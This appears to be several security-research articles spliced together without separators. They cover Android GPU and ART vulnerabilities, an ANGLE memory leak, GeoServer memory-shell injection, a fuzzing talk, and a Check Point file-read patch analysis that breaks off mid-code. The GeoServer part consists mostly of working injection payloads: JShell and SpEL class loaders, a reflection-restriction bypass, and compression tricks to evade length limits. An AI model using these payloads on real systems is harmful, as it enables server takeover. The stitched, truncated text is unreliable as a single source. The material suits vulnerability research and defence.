Let’s quickly go over what the bug actually is. The GPU firmware designed a hierarchy of Instruction Buffers(IBs). The architecture was designed to be four levels deep. Last year, the fifth level was added. But the instruction that checks which level you’re currently at was never updated for the new design. It miscounts, thinks you’re at the top-level RB, and happily lets you run privileged commands. One such command is CP_SMMU_TABLE_UPDATE, which can change the TTBR0 register — the register the GPU uses for address translation. The POC takes advantage of this by crafting a three-level page table by hand, pointing TTBR0 at it, and gaining full control over how the GPU maps virtual addresses to physical addresses. That gives us arbitrary physical memory read/write capacity from the GPU side. Because this whole thing boils down to a simple logic check being wrong, it triggers reliably every time — not as difficult as heap spraying or race conditions, just a clean logical mistake. That’s exactly why we decided to dig deeper into it.

The POC gives us arbitrary physical-memory read/write capacity through the GPU. But it only reads 8 bytes of data at a time. Trying to dump the kernel at that rate is very slow. So we change the CP_MEM_TO_MEM instruction to CP_MEMCPY, which lets us specify transfer length — up to 0x1000 bytes. This is useful, but honestly, scanning through physical memory was still taking way too long. We needed a better plan.

Thinking about it, what we really want is to get off the GPU entirely. Reading and writing physical memory through the GPU is indirect and sluggish. If we could build an arbitrary physical read/write primitive on the CPU side instead, we could just run native code to poke at memory directly. To achieve this, we need to find the PTE for some virtual address we control, which means locating the physical address of the page table itself. We know the kernel’s own memory sits at the low end of physical address space, and runtime allocations start somewhere above that in a predictable range, so we can start scanning from there.

The first idea was simple: allocate a large amount of memory to create lots of PTEs and lots of page tables:

While testing this code, I found that each process can only allocate around 32000 memory blocks, if we exceed this limit the mmap call will return an error. But then I realized there’s a smarter way. What we actually need is more page tables, and page table creation is tied to virtual address layout. Since mmap’s first argument lets you pick a virtual address, we can request an address that forces the allocator to create memory with new page tables. Specifically, bits 22–30 of a virtual address determine where the second level page table is. By choosing the right address, a single mmap call gives us a fresh page-table with exactly one PTE sitting in its first 8 bytes. The code change is minimal:

For the value of required_address, simply call mmap with NULL as the first argument to grab any page-aligned address:

Then we write a magic marker value along with the virtual address into the allocated memory. This write operation causes the system to commit physical memory to save the data immediately. Thus, when we’re scanning physical memory and hit the marker, we can tell which virtual address it maps to. This plan gives us a nice contiguous layout: one page of PTE followed by two pages of data. This makes the page table much easier to spot during the scan. In practice, as long as you pick a reasonable starting address, this approach finds the page table reliably.

And just like that, we’ve graduated from GPU-based physical memory access to a proper CPU-side arbitrary read/write primitive. Now we can access memory directly, no GPU round-trips needed. The next hurdle on Android is always SELinux. Using our physical read/write, we remap the shared libraries that the init process loads, which lets us hijack init’s execution. We have analyzed the SELinux policy on the phone, so that we can directly get the SELinux offset in kernel space, and then it’s just a matter of flipping the right fields to turn SELinux off:

Then, we once again hijack the procedure of the init process to execute our reverse-shell shellcode. Once the shellcode is triggered, a new reverse shell session is established.

A vulnerability in ANGLE’s Framebuffer::partialClearNeedsInit() allows reading uninitialized GPU memory from GL_TEXTURE_2D_ARRAY textures. When glClear targets a single layer of an arrayed texture, ANGLE fails to zero-initialize the remaining layers but marks the entire texture as initialized, exposing stale GPU memory contents to web content via glReadPixels or shader sampling.

Affected Component

• File: src/libANGLE/Framebuffer.cpp
• Function: Framebuffer::partialClearNeedsInit()
• Patch: CL 7703897

Root Cause

Vulnerable Code (Before Patch)

bool Framebuffer::partialClearNeedsInit(const Context *context,
                                        bool color,
                                        bool depth,
                                        bool stencil)
{
    if (!context->isRobustResourceInitEnabled() || mState.mResourceNeedsInit.none())
        return false;

    const auto &glState = context->getState();

    // Check 1: Scissor test partially overlaps the framebuffer
    if (glState.isScissorTestEnabled()) {
        // ... returns true if scissor doesn't cover full FB
    }

    // Check 2: Color channels masked
    if (color && glState.anyActiveDrawBufferChannelMasked())
        return true;

    // Check 3: Stencil values masked
    if (stencil && /* stencil mask check */)
        return true;

    // MISSING: No check for layered attachments (GL_TEXTURE_2D_ARRAY, etc.)

    return false;
}

The calling code in Framebuffer::clear():

if (partialClearNeedsInit(context, color, depth, stencil))
{
    ANGLE_TRY(ensureDrawAttachmentsInitialized(context));
}

// glClear only affects the currently bound layer,
// then marks the ENTIRE texture as "initialized"

The Bug

When a framebuffer attachment targets a single layer of a GL_TEXTURE_2D_ARRAY (bound via glFramebufferTextureLayer), glClear only writes to that specific layer. However, partialClearNeedsInit() does not account for layered attachments — it returns false, causing ensureDrawAttachmentsInitialized() to be skipped. After the clear completes, ANGLE marks the entire texture (all layers, all mips) as initialized, even though only one layer was actually written.

This leaves the remaining layers containing uninitialized GPU memory that can be read back via glReadPixels or sampled in a shader, bypassing the robust resource initialization security guarantee.

The patch adds layer detection logic to partialClearNeedsInit():

bool Framebuffer::partialClearNeedsInit(const Context *context,
                                        DrawBufferMask color,  // Changed: bool -> DrawBufferMask
                                        bool depth,
                                        bool stencil)
{
    // ... existing checks (scissor, color mask, stencil mask) ...

    // NEW: For layered attachments, treat this as a partial clear.
    // Otherwise the framebuffer clears some layers but marks the
    // entire mip level as initialized.
    if (depth && mState.mDepthAttachment.hasLayer())
        return true;

    if (stencil && mState.mStencilAttachment.hasLayer())
        return true;

    for (size_t colorIndex : color)
    {
        if (mState.mColorAttachments[colorIndex].hasLayer())
            return true;
    }

    return false;
}

The new hasLayer() method:

bool FramebufferAttachment::hasLayer() const
{
    return mTarget.textureIndex().hasLayer();
}

hasLayer() returns true when the attachment was created via glFramebufferTextureLayer() targeting a specific layer of a 2D array, 3D, or cube map texture. With this check in place, the clear is correctly identified as partial, and ensureDrawAttachmentsInitialized() is invoked to zero-initialize all layers before the clear proceeds.

The patch also changes the color parameter from bool to DrawBufferMask for more precise per-attachment tracking, and applies the same layer checks to partialBufferClearNeedsInit() (used by glClearBuffer*).

Reproduction

PoC

Vulnerability_PoC/CVE-2026-5283/poc.html at main · numencyber/Vulnerability_PoC

A security vulnerability exists in the Java Native Interface (JNI) implementation of Android Runtime (ART), specifically in the NewObject, NewObjectV, NewObjectA, and AllocObject functions. These functions failed to properly validate whether the incoming jclass parameter points to an instantiable class (non-abstract and non-interface). When attempting to use these JNI functions to instantiate abstract classes or interfaces, the runtime should have thrown an InstantiationException. However, due to missing checks, erroneous object instances were successfully created, potentially leading to undefined behavior, program logic errors, runtime crashes, and even privilege escalation.

Root Cause

1. Missing Check in Core JNI Layer: In the implementations of AllocObject, NewObjectV, and NewObjectA functions within the runtime/jni/jni_internal.cc file, the code proceeded directly with object allocation and method invocation, lacking the crucial validation of mirror::Class->IsInstantiable().
2. Incomplete CheckJNI Validation: The CheckInstantiableNonArray function provided by the CheckJNI mode, while containing relevant checks, was only applicable in debug mode and was not integrated into the core non-checked JNI path. This left the vulnerability present in release versions.

Fix Solution

Added instantiation checks within the three key functions:
if (UNLIKELY(!c->IsInstantiable())) {
 soa.Self()->ThrowNewExceptionF(
 "Ljava/lang/InstantiationException;", "Can't instantiate %s %s",
 c->IsInterface() ? "interface" : "abstract class",
 c->PrettyDescriptor().c_str());
 return nullptr;
}

poc

hex serializedData

ACED0005737200266A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D61706499DE129D87293D0300007870737200146A6176612E746578742E44617465466F726D6174642CA1E4C22615FC0200007870737200146A6176612E746578742E44617465466F726D6174642CA1E4C22615FC020000787070707878000000

00000000: aced 0005 7372 0026 6a61 7661 2e75 7469  ....sr.&java.uti
00000010: 6c2e 636f 6e63 7572 7265 6e74 2e43 6f6e  l.concurrent.Con
00000020: 6375 7272 656e 7448 6173 684d 6170 6499  currentHashMapd.
00000030: de12 9d87 293d 0300 0078 7073 7200 146a  ....)=...xpsr..j
00000040: 6176 612e 7465 7874 2e44 6174 6546 6f72  ava.text.DateFor
00000050: 6d61 7464 2ca1 e4c2 2615 fc02 0000 7870  matd,...&.....xp
00000060: 7372 0014 6a61 7661 2e74 6578 742e 4461  sr..java.text.Da
00000070: 7465 466f 726d 6174 642c a1e4 c226 15fc  teFormatd,...&..
00000080: 0200 0078 7070 7078 7800 0000            ...xpppxx...

Reproduction

Android Kernel Version: 16
The target application process crashes upon exploitation.

Ref

https://android.googlesource.com/platform/art/+/444fc40dfb04d2ec5f74c443ed3a4dd45d3131f2

Upon reading Master yzddMr6’s article on “GeoServer Property RCE Injection with Memory Shells” my first reaction was that starting from JDK 15, the JS engine parsing package is no longer included by default. This means that it’s not possible to write memory shells using that approach in JDK 15 and later. This article will detail my attempts to exploit this vulnerability using other memory shell methods, ultimately leading to the successful injection of a memory shell through SpEL expression injection, and I was able to upgrade the JDK version used to JDK 22.

Attempt with BCEL

During the analysis, I discovered that the lib contains a BCEL ClassLoader.

However, while debugging BCEL expression injection, I found that simple command execution BCEL expressions could not be executed. After further investigation, it became clear that the createClass method would always throw an error during the execution of BCEL expressions, preventing the return of the clazz and thus making it impossible to load any class. Initially, I thought that a straightforward BCEL expression injection could facilitate memory shell injection here, but it turned out to be unfeasible.

Attempt with JShell

Starting from Java 9, a feature called JShell was introduced. JShell is a REPL (Read-Eval-Print Loop) command-line tool that provides an interactive command-line interface, allowing us to execute Java code snippets without needing to write a class.

PoC for JShell Injection

eval(build(jdk.jshell.JShell.builder()), 'YOUR-JAVA-CODE')

Since the affected versions of GeoServer run on JDK 11–17, I planned to bypass the reflection restrictions that began in JDK 16.

eval(build(jdk.jshell.JShell.builder()),' import sun.misc.Unsafe; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class UnsafeTest { public static void test() { try { String payload = "Base64-PAYLOAD"; Class<?> unSafe=Class.forName("sun.misc.Unsafe"); Field unSafeField=unSafe.getDeclaredField("theUnsafe"); unSafeField.setAccessible(true); Unsafe unSafeClass= (Unsafe) unSafeField.get(null); Module baseModule=Object.class.getModule(); Class<?> currentClass= UnsafeTest.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module")); unSafeClass.getAndSetObject(currentClass,addr,baseModule); Class<?> byteArrayClass = Class.forName("[B"); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byteArrayClass, int.class, int.class); defineClass.setAccessible(true); Class<?> calc= (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", Base64.getDecoder().decode(payload), 0, Base64.getDecoder().decode(payload).length); calc.newInstance(); }catch (Exception e){} } } UnsafeTest.test();')

However, during subsequent testing, I discovered that JShell cannot execute methods or static blocks within classes in this vulnerability context, leading me to abandon this approach for memory shell injection.

SpEL Injection Memory Shell

JDK11–15

The PoC for SpEL is easy to construct, but it’s important to note that the payload does not contain # and {}.

toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"YOUR-SPEL-CODE")))

Initially, I assumed that I could directly use JMG to generate a memory shell injection payload in SpEL format, but I encountered an exception:

org.springframework.expression.spel.SpelEvaluationException: EL1079E: SpEL expression is too long, exceeding the threshold of '10,000' characters

The exception was thrown because the SpEL payload string exceeded 10,000 characters: Issue #30380 · Make maximum SpEL expression length configurable). This value can be modified through reflection, but it requires sending two requests.

org.springframework.expression.spel.ast.OperatorMatches#checkRegexLength

private void checkRegexLength(String regex) {
        if (regex.length() > 1000) {
            throw new SpelEvaluationException(this.getStartPosition(), SpelMessage.MAX_REGEX_LENGTH_EXCEEDED, new Object[]{1000});
        }
    }

By observing the payload of JMG, we can see that the malicious bytecode is directly encoded using Base64. It is well known that after a class file is Base64 encoded, the size of the malicious bytecode string increases. At this point, we can consider compressing the class file with gzip first and then applying Base64 encoding. This can significantly reduce the length of the SpEL expression.

gzip + Base64 Encoded PoC

toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(org.springframework.cglib.core.ReflectUtils).defineClass('Calc',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()")))

This method can directly complete the injection of the memory shell.

Reflection Restrictions Bypass for JDK 16+

Up to this point, the article hasn’t managed to bypass the reflection restrictions for higher versions. I discovered that JMG’s default reflection operations use methods from ReflectUtils, which trigger reflection restrictions right at the start of code execution. Despite numerous nested attempts, I couldn't bypass these restrictions. The SpEL method discussed above is only applicable up to JDK 15; for JDK 16 and above, we need to find a way to bypass the reflection restrictions. After multiple injection attempts, I repeatedly encountered the error module java.base does not "opens java.lang" to unnamed module, and this persisted even when I added the bypass code to the injector or the memory shell.

After extensive debugging, I found that the issue stemmed from the reflection operations in ReflectUtils. This means that if we can bypass the setAccessible(true) restriction, we can exploit this vulnerability to bypass the reflection restrictions in JDK 16+ and successfully inject memory shells in higher versions.

org.springframework.cglib.core.ReflectUtils#defineClass(java.lang.String,byte[],java.lang.ClassLoader, java.security.ProtectionDomain, java.lang.Class<?>)

However, initially, I did not realize that the issue might be here. During the early attempts, I assumed that errors like module java.base does not "opens java.lang" to unnamed module occurred during the loading process of the JMG Jetty memory shell (②), not during the initial class loader injector process (①).

Here is the Payload:

T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('YOUR-BASE64'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser"))

The difference between this and my initial Payload design lies in the use of a different underlying defineClass method:

// Payload Before Modification
public static Class defineClass(String className, byte[] b, ClassLoader loader)
​
// Payload to Bypass Reflection Restrictions in JDK 16+
public static Class defineClass(String className, byte[] b, final ClassLoader loader, ProtectionDomain protectionDomain, final Class<?> contextClass)

• A different classloader is used.
• A contextClass is specified.
• The malicious class needs to be in the org.springframework.expression package.

With these modifications, the code enters a branch that does not invoke setAccessible(true), thereby avoiding reflection restrictions and enabling the injection of memory shells in higher versions (①).

Here’s What We Need to Do:

1. Modify the SpEL payload.
2. Change the package name of the JMG memory shell injector to org.springframework.expression.

By this point, we have solved issue ①. Issue ② can be easily resolved by following step three.

3. Add reflection bypass code to the malicious bytecode (memory shell):

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Module module = Object.class.getModule();
Class cls = HelpUtils.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);

Potential Issues:

The above three steps are simple, but when regenerating the Base64 of the malicious class, you might encounter another issue. Even with gzip compression, the final Base64 string might still exceed the 10,000-character limit. Here is a small trick for manually compiling malicious bytecode to significantly reduce bytecode bloat (without generating debug information and showing warnings for unchecked operations and deprecated code during compilation).

javac -g:none .\YOUR-Evil.java -Xlint:unchecked  -Xlint:deprecation

4. Manually compile the malicious bytecode, gzip the bytecode, convert it to Base64, and insert the string into the payload.

5. Send the payload to inject the memory shell in one go.

Extensions

Dnslog detection

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>java.net.InetAddress.getAllByName("")
</wfs:valueReference>
</wfs:GetPropertyValue>

Delay detection

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>java.lang.Thread.sleep(10000)
</wfs:valueReference>
</wfs:GetPropertyValue>

Summary

This article demonstrates a memory shell injection attack using SpEL expressions, addressing two points of reflection restrictions in higher versions of JDK. By utilizing a trick for manually compiling bytecode and gzip compressing the bytecode, we were able to compress the final Base64 string. This approach has been tested and successfully bypasses reflection restrictions across all versions of JDK from 11 to 22.

On June 26, 2024, the OFF-BY-ONE conference was held in Singapore, and we had the privilege of presenting a talk titled “The Forgotten Treasure In Classic Targets”.

Overall, this presentation mainly discussed our attempts to fuzz some traditional targets. Due to extensive fuzzing on these targets, we were unable to discover new exploitable vulnerabilities effectively. Therefore, we changed our approach, re-read and analyzed the source code, searched for new attack surfaces, and attempted to uncover vulnerabilities through manual code auditing. Finally, we reflected on the differences between our fuzzing strategies and direct code auditing, then improved our fuzzing tools, leading to the discovery of many new vulnerabilities.

This presentation is divided into three main parts: The Forgotten Treasure, Review The Target, and Enhance Fuzzers.

0x01 The Forgotten Treasure

We all know that in web3 projects, the appearance of a vulnerability often leads to significant economic losses. Therefore, web3 projects often require identifying all possible vulnerabilities in the project. However, traditional web2 projects usually have a much larger scale compared to web3 projects, so the code that has been audited or fuzzed multiple times is often overlooked or assumed to be safe.

So, in this section, we mainly reviewed some interesting vulnerabilities.

• CVE-2020–15999

The vulnerability in FreeType’s image parsing is used by multiple projects, such as Chrome and Android. When processing PNG images embedded in fonts, the 32-bit image width and height are truncated to 16 bits before being stored. The memory allocation operation is then performed using the 16-bit data, leading to a subsequent heap overflow.

• CVE-2023–4863、CVE-2023–41064

The vulnerability in webp/libwebp is used by Android, Chrome, iOS/macOS, and others. There is an out-of-bounds write vulnerability in the Canonical Huffman Coding algorithm.

• CVE-2023–0461

The vulnerability in the TCP_ULP module of the Linux kernel. TCP_ULP does not check whether the protocol implements certain virtual functions, leading to a double free vulnerability when using a specific protocol to perform multiple three-way handshakes.

0x02 Review The Target

This section describes our process of failing fuzz testing and then conducting code review. It consists of two parts: the first part is related to the Linux kernel, and the second part is related to Android. In this section, we will only discuss the Linux-related content.

In the Linux kernel part, if we want to perform Linux kernel fuzzing, we first need to determine the attack surface. We first introduced the common attack surfaces of the Linux kernel in recent years, which are eBPF, io_uring, and netfilter. eBPF is not accessible to regular users due to Ubuntu’s permission settings, so this attack surface is not usable. Although io_uring and netfilter are both excellent attack surfaces with accessible code for regular users and sufficiently complex and varied, we did not choose them due to the excessive attention they receive. After multiple comparisons, our final choice was the network packet scheduler. This module’s code can be accessed by regular users and is sufficiently complex, but most importantly, it does not receive much attention. However, it also has clear drawbacks, such as poor generality during fuzzing and the need to create a new namespace.

Next, we introduced the basic architecture of the network packet scheduler. As shown in the diagram above, once we understood the basic architecture, we could easily use fuzzing tools like syzkaller to perform fuzzing. However, we did not find any effective results through fuzzing, so we turned to direct code auditing.

During the code audit, we discovered the vulnerability CVE-2023–35788.

In the fl_set_geneve_opt function, key->enc->opts.len is used in the data array without prior validation. If we construct an appropriate length, we can write the subsequent opt's length, r1, r2, and r3 fields' 0 values into opts.len, thereby creating an off-by-one vulnerability.

This can bypass subsequent validation operations for fl_set_geneve_opt, leading to an out-of-bounds write within the structure.

However, due to macro definition limitations, we can overflow a maximum of 128 bytes.

As for out-of-bounds reading, cls_flower itself provides the functionality to read the content we previously passed in, and it relies on the len field.

If we continue to fill data into this array after triggering the structure overflow, since our len has been modified, we will start writing the content of this data again. After layout, we can modify the len of part of the original opt. At the same time, build a fake opt structure at the end of the array. Then the kernel will mistakenly think that there will be more data passed in later, thereby realizing out-of-bounds reading in the structure.

Finally, we utilized this out-of-bounds write to achieve privilege escalation on Ubuntu.

After discovering these vulnerabilities, we decided to enhance our fuzzing to find more vulnerabilities.

0x03 Enhance Fuzzers

In this section, we first introduced the three main reasons for failure.

The first kind is that the model of this vulnerability is difficult to construct. For example, some memory destructive vulnerabilities may not have intuitive effects such as crashes. When they write out of bounds, they are performed at intervals of some memory units, and the modified value is reasonable under a certain probability.

The second situation is usually more common in some closed-source fuzz tests. Because in some cases, the trigger paths of the code are many and complex, it is difficult to determine all the key processing modules in a short time. Therefore, in most cases, more attention may be paid to the early processing modules.

There is also the third type of vulnerability, which is often the hardest to find. It needs to be triggered when multiple conditions are met at the same time. In many cases, we may not actually understand the key points involved in parsing a function. At the same time, in closed fuzz testing, we usually focus more on the adaptation of early interface parameters and the improvement of code coverage. In addition, there are still some types of vulnerabilities that are difficult to find with fuzz testing.

Then we improved it in the following ways. First, for multi-layer nested structures, we focused on the efficiency of fuzz testing to reach specific instructions, that is, we focused on the depth of our fuzz rather than the breadth. Secondly, we paid more attention to the path testing of key instruction locations. For the same path, we used different special values for testing multiple times. In general, this is a guided fuzz testing strategy that can better dig out some forgotten vulnerabilities.

Finally, we focus on the newly discovered vulnerability CVE-2024–36978 after our improvements.

The vulnerability occurs in the sch_multiq module. We can see that at position 1, qopt->bands is assigned. Then at position 2, removed is allocated by q->max_bands minus q->bands. At position 3, q->bands is assigned by qopt->bands. At position 4, we put some extra qdisc objects into the removed array, and then free them at position 5. Why is the old q->bands used to allocate the removed size at position 2, but the new q->bands is used in the for loop later? This seems strange. If max_bands minus the new bands is greater than twice max_bands minus the old bands, the for loop may write out of bounds to a heap pointer that will be freed soon.

By exploiting this vulnerability, we can easily escalate the privileges of the Linux kernel.

• Vulnerability Information: Check Point Security Gateways Arbitrary File Read Vulnerability
• Prerequisites: IPsec VPN or Mobile Access accessible
• Vulnerability Description: Exploiting this vulnerability can lead to sensitive information leakage on the Security Gateway.
• CVE Number: CVE-2024–24919
• Reproduction Steps:
• Test System (Check_Point_R81.10_T335.iso)
• Follow the video to run the exploit and related commands.
• Affected Versions and Fixes: R77.20 (EOL), R77.30 (EOL), R80.10 (EOL), R80.20 (EOL), R80.20.x, R80.20SP (EOL), R80.30 (EOL), R80.30SP (EOL), R80.40 (EOL), R81, R81.10, R81.10.x, R81.20

Environment Setup

You can refer to How To’s Configure Mobile and Remote Access VPN on Gaia R81 10 to configure Mobile Access.

Vulnerability Analysis

Patch Diff

By downloading Check_Point_R81_10_JHF_139_BLOCK_PORTAL_MAIN_Bundle_T3_FULL.tar, you can obtain the hotfix package, which can be directly decompressed as it is not encrypted. Inside, you can find the vpn.full ike.full bin files.

When Mobile Access is enabled, both vpnd and iked will start, indicating that these binaries are responsible for the functionality. We will choose to analyze vpnd using diff.

In the http_get_CCC_callback function, you can see the new function sanitize_filename.

  v14 = strstr(v13, "CSHELL/");
  v15 = files_to_download[v6];
  if ( v14 )
  {
    if ( !v15 )
    {
      v35 = fwString::getstr((fwString *)v40);
      if ( sanitize_filename(v35, a5) )
        goto LABEL_38;
      goto LABEL_31;
    }
  }

int __usercall sanitize_filename@<eax>(int a1@<eax>, int a2@<ecx>)
{
  int v3; // eax
  int v4; // edi

  v3 = strnlen(a1, 255);
  v4 = v3;
  if ( !v3 || v3 == 255 )
  {
    if ( TdCheckLevelF(2) )
      tderrorFunc("slim", 2, 0, "%s: Invalid input_len: %zu", "sanitize_filename", v4);
  }
  else
  {
    send_path_traversal_alert_log(a1, a2);
  }
  return -1;
}

void __usercall send_path_traversal_alert_log(int a1@<eax>, int a2@<edx>)
{
  struct in_addr v3; // eax
  int v4; // eax
  char *v5; // [esp+10h] [ebp-158h]
  char *v6; // [esp+28h] [ebp-140h]
  void *v7[2]; // [esp+38h] [ebp-130h] BYREF
  char v8[16]; // [esp+40h] [ebp-128h] BYREF
  char s[280]; // [esp+50h] [ebp-118h] BYREF

  if ( a2 )
  {
    v7[0] = v8;
    v7[1] = 0;
    v8[0] = 0;
    v3.s_addr = cpHttpSvc_get_peer_addr(a2);
    v6 = inet_ntoa(v3);
    v4 = strlen(v6);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_replace((int)v7, 0, 0, (int)v6, v4);
    snprintf(s, 0x100u, "Suspected path traversal attack from: %s. The following file was requested: %s", v7[0], a1);
    if ( TdCheckLevelF(0) )
      tderrorFunc("slim", 0, 0, "send_path_traversal_alert_log: %s", s);
    vpn_general_log((int)s, 1, 1, 8448, 0);
    if ( v7[0] != v8 )
      operator delete(v7[0]);
  }
  else if ( TdCheckLevelF(0) )
  {
    tderrorFunc("slim", 0, 0, "send_path_traversal_alert_log: opaque is null", v5);
  }
}

We can observe that:

• The sanitize_filename function checks the length of the filename and if the length is valid, it calls the send_path_traversal_alert_log function to send an alert log.
• The send_path_traversal_alert_log function logs a suspected path traversal attack, including the client's IP address and the requested filename.
• The return value is -1.

Vulnerability Analysis of http_get_CCC_callback Function

In the start_vpnd_web_server function, we can see that it registers a route for /clients/MyCRL, which triggers the http_get_CCC_callback function when accessed.

              if (cpHttpSvc_register_query(a1: data_8497338, a2: "/clients/MyCRL", a3: http_get_CCC_callback, a4: 0) == 0)
              {
                if (TdCheckLevelF(2) == 0)
                {
                  goto label_810ac49
                }
                var_388_3 = "/clients/MyCRL"
                char const* const var_38c_8 = "start_vpnd_web_server"
                eax_140 = "%s: init of VPND http CRL for url '%s' query failed."
                goto label_810bbd1
              }

This function has some decompilation issues in IDA, which can be fixed by handling initial data processing:

.text:080FF0A0 http_get_CCC_callback proc near         ; DATA XREF: start_vpnd_web_server(char *,int,int,bool):loc_810A8A5↓o
.text:080FF0A0                                         ; start_vpnd_web_server(char 
.text:080FF0A0
.text:080FF0A0 ; __unwind { // ___gxx_personality_v0
.text:080FF0A0                 call    sub_80E64FE
.text:080FF0A5                 add     eax, 3698511 //Press d to cancel pointer reference
.text:080FF0AA                 push    ebp
.text:080FF0AB                 mov     ebp, esp
.text:080FF0AD                 push    edi
.text:080FF0AE                 push    esi
.text:080FF0AF                 push    ebx
.text:080FF0B0                 sub     esp, 5Ch

int __cdecl http_get_CCC_callback(int a1, int a2, int a3, void *a4, int a5, int a6)
{
  int v6; // edi
  const char *needle; // esi
  const char *haystack; // eax
  const char *v9; // eax
  int v10; // eax
  const char *v11; // eax
  FILE *stream; // esi
  int v13; // edi
  size_t v14; // edi
  void *v15; // eax
  size_t v16; // edi
  int v17; // esi
  int v18; // eax
  char *v19; // edx
  int v20; // esi
  int v22; // eax
  int v23; // eax
  int v24; // eax
  int v25; // eax
  int v26; // esi
  int v27; // eax
  int v28; // eax
  int v29; // eax
  const char *v30; // edi
  int v31; // [esp+14h] [ebp-58h]
  int v32; // [esp+14h] [ebp-58h]
  int v33; // [esp+14h] [ebp-58h]
  _BYTE v34[16]; // [esp+30h] [ebp-3Ch] BYREF
  _BYTE v35[44]; // [esp+40h] [ebp-2Ch] BYREF

  fwString::fwString((fwString *)v34);
  cpBinBuf::cpBinBuf((cpBinBuf *)v35);
  if ( TdCheckLevelF(2) )
    tderrorFunc("slim", 2, 0, "%s: ENTER", "http_get_CCC_callback");
  if ( !a6 )
  {
    if ( TdCheckLevelF(2) )
      tderrorFunc("slim", 2, 0, "%s: The request is too long, aborting.", "http_get_CCC_callback");
    goto LABEL_25;
  }
  if ( !a5 && !a4 )
  {
    if ( TdCheckLevelF(3) )
      tderrorFunc("slim", 3, 0, "%s: The http Get server has stoped to listen.", "http_get_CCC_callback");
    goto LABEL_25;
  }
  if ( a3 <= 0 || a2 == 0 || !a4 )
  {
    if ( TdCheckLevelF(2) )
      tderrorFunc("slim", 2, 0, "%s: Got empty request or no callback. Ignore.", "http_get_CCC_callback");
    goto LABEL_25;
  }
  fwString::Set((fwString *)v34, (const char *)(a2 + 1), a3 - 1);
  v6 = 0;
  needle = files_to_download[0];
  if ( files_to_download[0] )
  {
    while ( 1 )
    {
      haystack = (const char *)fwString::operator char const*((int)v34);
      if ( strstr(haystack, needle) )
        break;
      needle = files_to_download[++v6];
      if ( !needle )
        goto LABEL_16;
    }
    if ( TdCheckLevelF(2) )
      tderrorFunc("slim", 2, 0, "%s: file name appears %s.", "http_get_CCC_callback", files_to_download[v6]);
  }
LABEL_16:
  v9 = (const char *)fwString::operator char const*((int)v34);
  if ( strstr(v9, "CSHELL/") || files_to_download[v6] )
  {
    v10 = fwString::operator char const*((int)v34);
    v11 = (const char *)fw_filename("conf/extender", v10);
    stream = fopen(v11, "rb");
    if ( !stream )
    {
      if ( TdCheckLevelF(2) )
      {
        v24 = fwString::operator char const*((int)v34);
        v31 = fw_filename("conf/extender", v24);
        tderrorFunc("slim", 2, 0, "%s: could not open %s for read", "http_get_CCC_callback", v31);
      }
      goto LABEL_25;
    }
  }
  else
  {
    if ( memcmp((const void *)fwString::getstr((fwString *)v34), "clients/MyCRL/", 0xEu) )
    {
LABEL_38:
      if ( TdCheckLevelF(2) )
      {
        v25 = fwString::operator char const*((int)v34);
        v32 = fw_filename((char *)&unk_838AC96, v25);
        tderrorFunc("slim", 2, 0, "%s: Invalid filename: %s", "http_get_CCC_callback", v32);
      }
      goto LABEL_25;
    }
    if ( TdCheckLevelF(4) )
    {
      v28 = fwString::getstr((fwString *)v34);
      tderrorFunc("slim", 4, 0, "%s: retrieving a CRL: %s", "http_get_CCC_callback", v28 + 14);
    }
    v29 = fwString::getstr((fwString *)v34);
    v30 = (const char *)fw_filename("conf/extender/MyCRL", v29 + 14);
    stream = fopen(v30, "rb");
    if ( !stream )
    {
      if ( TdCheckLevelF(4) )
        tderrorFunc("slim", 4, 0, "%s: Failed opening file: %s", "http_get_CCC_callback", v30);
      goto LABEL_38;
    }
  }
  fseek(stream, 0, 2);
  v13 = ftell(stream);
  if ( v13 > 102399999 )
  {
    if ( TdCheckLevelF(2) )
    {
      v22 = fwString::operator char const*((int)v34);
      v23 = fw_filename("conf/extender", v22);
      tderrorFunc("slim", 2, 0, "%s: %s %s %d", "http_get_CCC_callback", 137943005, v23, v13);
    }
    goto LABEL_31;
  }
  rewind(stream);
  cpBinBuf::Set((cpBinBuf *)v35, v13);
  v14 = cpBinBuf::Len((cpBinBuf *)v35);
  v15 = (void *)cpBinBuf::Data((cpBinBuf *)v35);
  v16 = fread(v15, 1u, v14, stream);
  if ( v16 < cpBinBuf::Len((cpBinBuf *)v35) )
  {
    if ( TdCheckLevelF(2) )
      tderrorFunc("slim", 2, 0, "%s: could not read from file", "http_get_CCC_callback");
LABEL_31:
    fclose(stream);
LABEL_25:
    v20 = -1;
    goto LABEL_26;
  }
  fclose(stream);
  if ( fwString::length((fwString *)v34) > 4u
